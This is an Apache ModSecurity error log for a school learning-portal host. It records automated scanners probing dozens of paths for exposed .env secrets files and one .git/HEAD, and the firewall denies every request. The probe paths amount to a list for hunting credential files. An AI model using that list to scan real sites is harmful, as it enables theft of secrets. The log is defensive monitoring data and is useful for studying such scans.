[Tue Jan 27 21:49:29.157278 2026] [:error] [pid 48412:tid 48435] [client 13.204.80.208:39258] [client 13.204.80.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/api/v2/.env"] [unique_id "aXjCaXbJMfAKlln88JER4gAAAVU"], referer: https://www.google.com/
[Tue Jan 27 21:49:29.627357 2026] [:error] [pid 7453:tid 7503] [client 13.204.80.208:39270] [client 13.204.80.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/api/v3/.env"] [unique_id "aXjCaRfsyA2ws_ADquiswQAAAE4"], referer: https://www.google.com/
[Tue Jan 27 21:49:30.097487 2026] [:error] [pid 39017:tid 39052] [client 13.204.80.208:39280] [client 13.204.80.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/rest/.env"] [unique_id "aXjCas553xt-F_10bG6uLAAAAwQ"], referer: https://www.google.com/
[Tue Jan 27 21:49:30.574169 2026] [:error] [pid 38987:tid 39003] [client 13.204.80.208:39292] [client 13.204.80.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/backend/.env"] [unique_id "aXjCaqTH0bU76Ifu_Xc1lAAAAA0"], referer: https://www.google.com/
[Tue Jan 27 21:49:31.048336 2026] [:error] [pid 48412:tid 48434] [client 13.204.80.208:39300] [client 13.204.80.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/backend/api/.env"] [unique_id "aXjCa3bJMfAKlln88JER4wAAAVQ"], referer: https://www.google.com/
[Wed Jan 28 10:41:53.736436 2026] [:error] [pid 33490:tid 33527] [client 116.122.157.164:50432] [client 116.122.157.164] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env"] [unique_id "aXl3cWjexcy58gsBPJHv1AAAAEM"]
[Wed Jan 28 10:41:54.950839 2026] [:error] [pid 33490:tid 33529] [client 116.122.157.164:50460] [client 116.122.157.164] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/conf/.env"] [unique_id "aXl3cmjexcy58gsBPJHv2wAAAEU"]
[Wed Jan 28 10:41:56.112917 2026] [:error] [pid 33489:tid 33498] [client 116.122.157.164:50491] [client 116.122.157.164] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-content/.env"] [unique_id "aXl3dBZrVZwQUFWC7__GGwAAAAU"]
[Wed Jan 28 10:41:57.364916 2026] [:error] [pid 33636:tid 33661] [client 116.122.157.164:50511] [client 116.122.157.164] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-admin/.env"] [unique_id "aXl3ddIVZAudQH0BSC6hygAAAhc"]
[Wed Jan 28 10:41:58.587565 2026] [:error] [pid 33491:tid 33565] [client 116.122.157.164:50535] [client 116.122.157.164] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/library/.env"] [unique_id "aXl3dmP9UY0x3irkINCHwgAAAM4"]
[Wed Jan 28 10:41:59.768210 2026] [:error] [pid 33580:tid 33605] [client 116.122.157.164:50564] [client 116.122.157.164] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/new/.env"] [unique_id "aXl3d5lb0QJtwfka8l7M3QAAARI"]
[Wed Jan 28 10:42:00.930074 2026] [:error] [pid 33489:tid 33495] [client 116.122.157.164:50593] [client 116.122.157.164] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/vendor/.env"] [unique_id "aXl3eBZrVZwQUFWC7__GIAAAAAI"]
[Wed Jan 28 10:42:02.164307 2026] [:error] [pid 33489:tid 33508] [client 116.122.157.164:50617] [client 116.122.157.164] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/old/.env"] [unique_id "aXl3ehZrVZwQUFWC7__GIwAAAA8"]
[Wed Jan 28 10:42:03.347443 2026] [:error] [pid 33490:tid 33534] [client 116.122.157.164:50642] [client 116.122.157.164] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/local/.env"] [unique_id "aXl3e2jexcy58gsBPJHv8AAAAEo"]
[Wed Jan 28 10:42:04.514608 2026] [:error] [pid 33489:tid 33505] [client 116.122.157.164:50670] [client 116.122.157.164] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/api/.env"] [unique_id "aXl3fBZrVZwQUFWC7__GLAAAAAw"]
[Wed Jan 28 10:42:05.721461 2026] [:error] [pid 33489:tid 33507] [client 116.122.157.164:50705] [client 116.122.157.164] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/blog/.env"] [unique_id "aXl3fRZrVZwQUFWC7__GMAAAAA4"]
[Wed Jan 28 11:02:50.886779 2026] [:error] [pid 33491:tid 33567] [client 93.123.109.58:54502] [client 93.123.109.58] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env"] [unique_id "aXl8WmP9UY0x3irkINCO4AAAANA"]
[Wed Jan 28 12:53:47.623110 2026] [:error] [pid 2625:tid 2637] [client 45.137.126.37:28823] [client 45.137.126.37] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/HEAD"] [unique_id "aXmWW1ZhY64HvuPd7w3uyQAAAUY"]
[Wed Jan 28 22:46:02.999884 2026] [:error] [pid 24452:tid 24463] [client 52.56.245.8:35818] [client 52.56.245.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env"] [unique_id "aXohKv0RQOh_GmqmVyaXmgAAAYk"], referer: https://www.google.com/
[Wed Jan 28 22:46:03.603637 2026] [:error] [pid 24482:tid 24491] [client 52.56.245.8:35834] [client 52.56.245.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.local"] [unique_id "aXohK6LaUZr_xWekSHPA4QAAAcU"], referer: https://www.google.com/
[Wed Jan 28 22:46:04.188950 2026] [:error] [pid 33490:tid 33527] [client 52.56.245.8:35844] [client 52.56.245.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.production"] [unique_id "aXohLGjexcy58gsBPJHfqgAAAEM"], referer: https://www.google.com/
[Wed Jan 28 22:46:04.781242 2026] [:error] [pid 2625:tid 2653] [client 52.56.245.8:35850] [client 52.56.245.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.development"] [unique_id "aXohLFZhY64HvuPd7w1-5wAAAVY"], referer: https://www.google.com/
[Wed Jan 28 22:46:05.359672 2026] [:error] [pid 33489:tid 33517] [client 52.56.245.8:35858] [client 52.56.245.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.staging"] [unique_id "aXohLRZrVZwQUFWC7_9oUwAAABg"], referer: https://www.google.com/
[Wed Jan 28 22:46:05.939664 2026] [:error] [pid 24452:tid 24473] [client 52.56.245.8:35868] [client 52.56.245.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.prod"] [unique_id "aXohLf0RQOh_GmqmVyaXnwAAAZM"], referer: https://www.google.com/
[Wed Jan 28 22:46:06.520041 2026] [:error] [pid 33580:tid 33590] [client 52.56.245.8:35878] [client 52.56.245.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.dev"] [unique_id "aXohLplb0QJtwfka8l5zmQAAAQM"], referer: https://www.google.com/
[Wed Jan 28 22:46:07.109321 2026] [:error] [pid 33491:tid 33572] [client 52.56.245.8:35890] [client 52.56.245.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.test"] [unique_id "aXohL2P9UY0x3irkINBPIgAAANU"], referer: https://www.google.com/
[Wed Jan 28 22:46:07.699426 2026] [:error] [pid 2625:tid 2638] [client 52.56.245.8:35904] [client 52.56.245.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.backup"] [unique_id "aXohL1ZhY64HvuPd7w1-7gAAAUc"], referer: https://www.google.com/
[Wed Jan 28 22:46:08.282164 2026] [:error] [pid 33580:tid 33589] [client 52.56.245.8:35920] [client 52.56.245.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.old"] [unique_id "aXohMJlb0QJtwfka8l5znAAAAQI"], referer: https://www.google.com/
[Wed Jan 28 22:46:08.867125 2026] [:error] [pid 24452:tid 24456] [client 52.56.245.8:35924] [client 52.56.245.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.bak"] [unique_id "aXohMP0RQOh_GmqmVyaXpgAAAYI"], referer: https://www.google.com/
[Wed Jan 28 22:46:09.450049 2026] [:error] [pid 33636:tid 33639] [client 52.56.245.8:35930] [client 52.56.245.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.save"] [unique_id "aXohMdIVZAudQH0BSC5WIAAAAgE"], referer: https://www.google.com/
[Wed Jan 28 22:46:10.018358 2026] [:error] [pid 33580:tid 33606] [client 52.56.245.8:35940] [client 52.56.245.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.sample"] [unique_id "aXohMplb0QJtwfka8l5zoQAAARM"], referer: https://www.google.com/
[Wed Jan 28 22:46:10.578600 2026] [:error] [pid 24452:tid 24455] [client 52.56.245.8:39442] [client 52.56.245.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.example"] [unique_id "aXohMv0RQOh_GmqmVyaXqwAAAYE"], referer: https://www.google.com/
[Wed Jan 28 22:46:11.158391 2026] [:error] [pid 33580:tid 33608] [client 52.56.245.8:39454] [client 52.56.245.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.dist"] [unique_id "aXohM5lb0QJtwfka8l5zpwAAARU"], referer: https://www.google.com/
[Wed Jan 28 22:46:11.733419 2026] [:error] [pid 33490:tid 33530] [client 52.56.245.8:39464] [client 52.56.245.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.prod.local"] [unique_id "aXohM2jexcy58gsBPJHfsAAAAEY"], referer: https://www.google.com/
[Wed Jan 28 22:46:12.315704 2026] [:error] [pid 24452:tid 24478] [client 52.56.245.8:39474] [client 52.56.245.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.dev.local"] [unique_id "aXohNP0RQOh_GmqmVyaXrwAAAZg"], referer: https://www.google.com/
[Wed Jan 28 22:46:12.893062 2026] [:error] [pid 24452:tid 24462] [client 52.56.245.8:39478] [client 52.56.245.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.remote"] [unique_id "aXohNP0RQOh_GmqmVyaXsgAAAYg"], referer: https://www.google.com/
[Wed Jan 28 22:46:15.297158 2026] [:error] [pid 2625:tid 2649] [client 52.56.245.8:39490] [client 52.56.245.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.1"] [unique_id "aXohN1ZhY64HvuPd7w1-9QAAAVI"], referer: https://www.google.com/
[Wed Jan 28 22:46:15.881955 2026] [:error] [pid 33489:tid 33513] [client 52.56.245.8:39506] [client 52.56.245.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.2"] [unique_id "aXohNxZrVZwQUFWC7_9oXAAAABQ"], referer: https://www.google.com/
[Wed Jan 28 22:46:16.479361 2026] [:error] [pid 24482:tid 24508] [client 52.56.245.8:39512] [client 52.56.245.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.3"] [unique_id "aXohOKLaUZr_xWekSHPA7wAAAdY"], referer: https://www.google.com/
[Wed Jan 28 22:46:18.227219 2026] [:error] [pid 33636:tid 33645] [client 52.56.245.8:39524] [client 52.56.245.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.envs"] [unique_id "aXohOtIVZAudQH0BSC5WKgAAAgc"], referer: https://www.google.com/
[Wed Jan 28 22:46:18.820755 2026] [:error] [pid 33490:tid 33535] [client 52.56.245.8:39530] [client 52.56.245.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/api/.env"] [unique_id "aXohOmjexcy58gsBPJHfwQAAAEs"], referer: https://www.google.com/
[Wed Jan 28 22:46:19.408635 2026] [:error] [pid 24452:tid 24478] [client 52.56.245.8:39542] [client 52.56.245.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/api/v1/.env"] [unique_id "aXohO_0RQOh_GmqmVyaXvAAAAZg"], referer: https://www.google.com/
[Wed Jan 28 22:46:20.001606 2026] [:error] [pid 33490:tid 33532] [client 52.56.245.8:39554] [client 52.56.245.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/api/v2/.env"] [unique_id "aXohPGjexcy58gsBPJHfxAAAAEg"], referer: https://www.google.com/
[Wed Jan 28 22:46:20.584205 2026] [:error] [pid 33490:tid 33547] [client 52.56.245.8:45888] [client 52.56.245.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/api/v3/.env"] [unique_id "aXohPGjexcy58gsBPJHfyAAAAFc"], referer: https://www.google.com/
[Wed Jan 28 22:46:21.168930 2026] [:error] [pid 33491:tid 33563] [client 52.56.245.8:45900] [client 52.56.245.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/rest/.env"] [unique_id "aXohPWP9UY0x3irkINBPOwAAAMw"], referer: https://www.google.com/
[Wed Jan 28 22:46:21.750296 2026] [:error] [pid 33491:tid 33569] [client 52.56.245.8:45902] [client 52.56.245.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/backend/.env"] [unique_id "aXohPWP9UY0x3irkINBPPAAAANI"], referer: https://www.google.com/
[Wed Jan 28 22:46:22.334656 2026] [:error] [pid 24482:tid 24492] [client 52.56.245.8:45914] [client 52.56.245.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/backend/api/.env"] [unique_id "aXohPqLaUZr_xWekSHPA9wAAAcY"], referer: https://www.google.com/
[Wed Jan 28 22:46:22.931013 2026] [:error] [pid 33490:tid 33541] [client 52.56.245.8:45924] [client 52.56.245.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/server/.env"] [unique_id "aXohPmjexcy58gsBPJHf0gAAAFE"], referer: https://www.google.com/
[Wed Jan 28 22:46:23.509472 2026] [:error] [pid 33636:tid 33660] [client 52.56.245.8:45936] [client 52.56.245.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/server/api/.env"] [unique_id "aXohP9IVZAudQH0BSC5WLwAAAhY"], referer: https://www.google.com/
[Wed Jan 28 22:46:24.089165 2026] [:error] [pid 33636:tid 33651] [client 52.56.245.8:45950] [client 52.56.245.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/graphql/.env"] [unique_id "aXohQNIVZAudQH0BSC5WMAAAAg0"], referer: https://www.google.com/
[Wed Jan 28 22:46:24.669476 2026] [:error] [pid 33490:tid 33527] [client 52.56.245.8:45964] [client 52.56.245.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/webhook/.env"] [unique_id "aXohQGjexcy58gsBPJHf1gAAAEM"], referer: https://www.google.com/
[Wed Jan 28 22:46:25.247086 2026] [:error] [pid 33491:tid 33560] [client 52.56.245.8:45968] [client 52.56.245.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/webhooks/.env"] [unique_id "aXohQWP9UY0x3irkINBPQQAAAMk"], referer: https://www.google.com/
[Wed Jan 28 22:46:25.827720 2026] [:error] [pid 24452:tid 24475] [client 52.56.245.8:45972] [client 52.56.245.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/payment/.env"] [unique_id "aXohQf0RQOh_GmqmVyaXxAAAAZU"], referer: https://www.google.com/
[Wed Jan 28 22:46:26.405664 2026] [:error] [pid 42740:tid 42748] [client 52.56.245.8:45988] [client 52.56.245.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/payments/.env"] [unique_id "aXohQlnjAS34srJlXgTAHgAAAIY"], referer: https://www.google.com/
